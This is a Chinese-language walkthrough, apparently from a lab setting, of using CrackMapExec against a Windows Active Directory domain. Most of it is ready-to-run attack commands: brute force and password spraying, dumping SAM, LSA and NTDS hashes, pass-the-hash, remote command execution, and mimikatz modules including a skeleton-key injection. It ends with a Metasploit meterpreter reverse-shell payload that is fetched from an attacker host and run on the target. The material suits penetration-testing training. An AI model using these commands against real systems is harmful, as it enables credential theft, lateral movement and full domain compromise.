介绍
Crackmapexec,也称为 CME,是一种后期开发工具。该工具的开发者将其描述为“用于渗透测试网络的瑞士军刀”。该工具是用 python 开发的,让我们在环境中横向移动,同时了解情况。它通过收集 IP 地址中的所有信息以从 SAM 获取凭据来滥用 Active Directory 安全性。这是我们横向移动所需的唯一信息。它还为我们提供了许多模块,例如 mimikatz、web 交付、wdigest 等,以简化凭据转储和获取会话。因此,通过让攻击者以土地为生,使攻击者变得无所不能。
使用
Windows 服务器信息:
- 域名:ignite.local
- 用户:Administrator员
- 密码:Ignite@987
- IP地址:192.168.1.105
Windows 客户端信息:
- 操作系统:Windows 10
- IP地址:192.168.1.106
- 用户:kavish、geet、aarti、yashika
- 密码:Password@1
# 语法
crackmapexec <protocol> <Target_IP> -u '<username>' -p '<passwprd>'
枚举
发现 IP
crackmapexec smb 192.168.1.0/24
用户
使用 —users 参数
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users
组
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups
文本文件
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern txt
日志文件
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern log
共享
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares
会话
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions
密码策略
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --pass-pol
驱动器
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks
暴力破解
用户名
以暴力破解与我们的正确密码相匹配的用户名。我们将在整个网络上执行此操作,这就是为什么我们将指定 IP 范围而不是仅仅提供 IP。
crackmapexec smb 192.168.1.0/24 -u "kavish" "Administrator" -p "Ignite@987"
密码
我们可以在单个目标系统或整个网络上暴力破解密码
crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"
字典攻击
crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
凭据转储
SAM
SAM 是管理所有用户帐户及其密码的安全帐户管理器的缩写。它充当数据库。所有密码都经过哈希处理,然后存储在 SAM 中。使用 CME,我们将使用以下命令以哈希的形式转储来自 SAM 的凭据:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam
LSA
本地安全机构 (LSA) 是一个受保护的系统进程,用于对用户进行身份验证并将其登录到本地计算机。域凭据由操作系统使用,并由本地安全机构 (LSA) 进行身份验证。因此,LSA 可以访问凭据,我们将利用此事实通过使用以下命令通过 CME 获取凭据:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa
NTDS (DRSUAPI)
NTDS 代表新技术目录服务,DIT 代表目录信息树。此文件充当 Active Directory 的数据库并存储其所有数据,包括所有凭据。因此,我们将使用以下命令操作此文件以转储哈希值:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
NTDS (VSS)
从 NTDS 检索凭据的另一种方法是通过 VSS,即卷影副本。对于此方法,请使用以下命令:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
传递哈希
一旦我们转储了哈希值,我们就不需要使用任何其他工具来传递哈希值。对于 CME,我们需要使用以下命令:
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38
密码喷洒
我们通过对相同数量的用户名使用相同的密码来获取帐户,直到找到正确的密码。使用 CME,我们可以使用两种方法执行密码喷射:
- 使用 –rid-brute
# 语法
crackmapexec <协议> <IP地址> -u <用户名txt文件的路径> -p '<密码>' –rid-brute
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-brute
- 使用 –continue-on-success
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-success
远程命令执行
# 语法
crackmapexec <协议> <IP 地址> -u '<用户名>' -p '<密码>' -x '<命令>'
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'
atexec
此命令将在任务计划程序服务的帮助下执行命令。
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method atexec
wmiexec
此命令将在 Windows Management Instrumentation (WMI) 服务的帮助下执行命令
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method wmiexec
我们还可以使用 PowerShell Cmdlet 来使用 CME 通过远程执行任务。这是可能的,因为能够通过 WMI 远程执行命令
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTable' --exec-method wmiexec
谈到WMI,我们也可以使用CME直接在目标上运行WMI命令。参数“–wmi”就是为此目的而设计的。我们可以为它提供 WMI 的命令字符串,它会执行它
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount"
模块
查看提供的模块
crackmapexec smb -L
使用语法:
crackmapexec <协议> <IP地址> -u '<用户名>' -p '<密码> -M <模块>
mimikatz
crackmapexec smb 192.168.1.105 -u 'Admin' -p 'Ignite@987' -M mimikatz
提供一个 mimikatz 命令作为参数
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimicking -o COMMAND='privilege::debug';
因此,该命令将调试所有权限,如上图所示。现在让我们尝试运行另一个命令:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords'
因此,运行上述命令将显示登录密码的所有哈希值。这样,您还可以提供进一步的参数,例如使用以下命令注入骨架密钥的参数:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimicking -o COMMAND='misc::skeleton'
wdigest
CME 为我们提供的另一个模块是 wdigest。由于密码存储在内存中,因此该模块将创建一个注册表项。
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable
enum_dns
该模块收集有关目标 DNS 的所有信息并将其显示在控制台上。
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns
web_delivery
对于此模块,首先使用命令“ msfconsole”打开 Metasploit Framework ,然后键入以下命令集以启动 web_delivery:
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost <local IP>
set srvhost <local IP>
exploit
它将创建一个链接,如上图所示。复制该链接并使用以下命令通过 CME 在目标机器上远程执行它:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rlNdPdZQMeYWLF
成功执行上述命令后,您将拥有如下图所示的 meterpreter 会话: